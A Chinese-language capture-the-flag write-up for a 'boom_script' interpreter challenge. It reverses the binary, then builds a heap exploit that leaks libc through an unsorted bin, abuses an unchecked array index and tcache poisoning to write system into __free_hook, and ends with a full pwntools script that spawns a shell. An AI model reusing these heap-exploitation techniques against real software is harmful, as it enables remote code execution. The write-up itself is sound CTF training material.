ELF 64位,boom语言解释器,libc 2.31,保护全开,先跟着流程走一遍

有run和help两个功能

main函数分析后得到是根据输入选择执行的函数。

在init_1中mmap了一个0x1000权限为7的区域,初始化了一个input_addr。

help函数打印语法和例子,没什么用,直接跳过

输入函数根据我们输入的size来读取code并放在addr中

在run函数中先进入check函数再进入run_code执行代码

在check函数中先检查了非法的符号和换行符

这一段遍历输入的字符判断是否在规定区间,如果在则放入s1中。这段的功能是规范变量的命名只能是字符开头和下划线

将s1中的内容先与var_func_arr[56*i]进行判断,如果s1在这个数组中则表示输入了函数名称或者变量名称,会去id_arr寻找对应的id,并且将input_char变为特定的id,程序开始时共有十个函数,func_num为0x0a


如果s1中的内容不在var_func_arr数组中则会注册该变量即将s1的值放在var_func_arr中给定id并且将input_char变为0x91

如果input_char指向的是数字则转为十进制数放在src中

如果input_char都不在以上字符中则判断是否在下列字符中并且不同的字符会给予不同的id和操作,遇到“
则malloc一个区域遍历字符串到下一个“并且放入堆中

在run_code函数中会根据input_char来选择执行的步骤

在创建字符串时会判断该变量的字符串的堆地址是否存在,如果存在则会free后进入check2调用check进行malloc实现字符串的重定义(a="123";a="456";)

程序提供了一个prints打印字符串的函数,我们可以初始化一个大的字符串值再重定义后被放入unsorted bins中再初始化一个字符串进行打印得到main_arena+88的地址,进而得到libc_base
num=b"a"*0x410
payload=b"i=\""+num+b"\";i=\"/bin/sh\";ii=\"0\";prints(ii);"

得到libc地址后通过在code中写入给出的输入函数inputn输入
libc=0;inputn(libc);
测试发现该程序读写数组时并没有限制范围
存在数组的溢出,即堆溢出
array cc[1];cc[3]=system
tchache bin attack到__free_malloc写入system后重定义一个含/bin/sh\x00的字符串即可getshell,中间省略3个小时的调试..........................................................(给我调试麻了),字符串要定义在0x40大小,只有数组才能输入到__free_hook中,字符串不能输入十六进制。
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./boom_script"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
p=process(filename)
#gdb.attach(p, "b *$rebase(0x316E)")
else:
p=remote("node5.anna.nssctf.cn" , 26783)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
num=b"a"*0x410
num1=b"a"*0x40
a=b"a"*0x10
payload=b"array aa[1];i=\""+num+b"\";i=\"/bin/sh\";ii=\"0\";prints(ii);libc=0;inputn(libc);og=libc+"+str(libc.sym["__free_hook"]-0x60).encode()+b";system=libc+"+str(libc.sym["system"]).encode()+b";i=\""+b"a"*0x48+b"\";iii=\""+b"a"*0x38+b"\";iii=\"123\";aa[3]=og;bbb=\""+b"a"*0x38+b"\";array cc[1];cc[1]=system;ccc=\"/bin/sh\";ccc=\"/bin/sh\";"
p.recvuntil(b"$")
p.sendline(b"1")
p.recvuntil(b"length:")
p.sendline(str(len(payload)).encode())
p.recvuntil(b"code:")
p.send(payload)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ec030
malloc_hook=libc_base+libc.sym["__free_hook"]
print(hex(libc_base))
print(hex(malloc_hook))
p.send(str(libc_base).encode())
p.interactive()
Comments NOTHING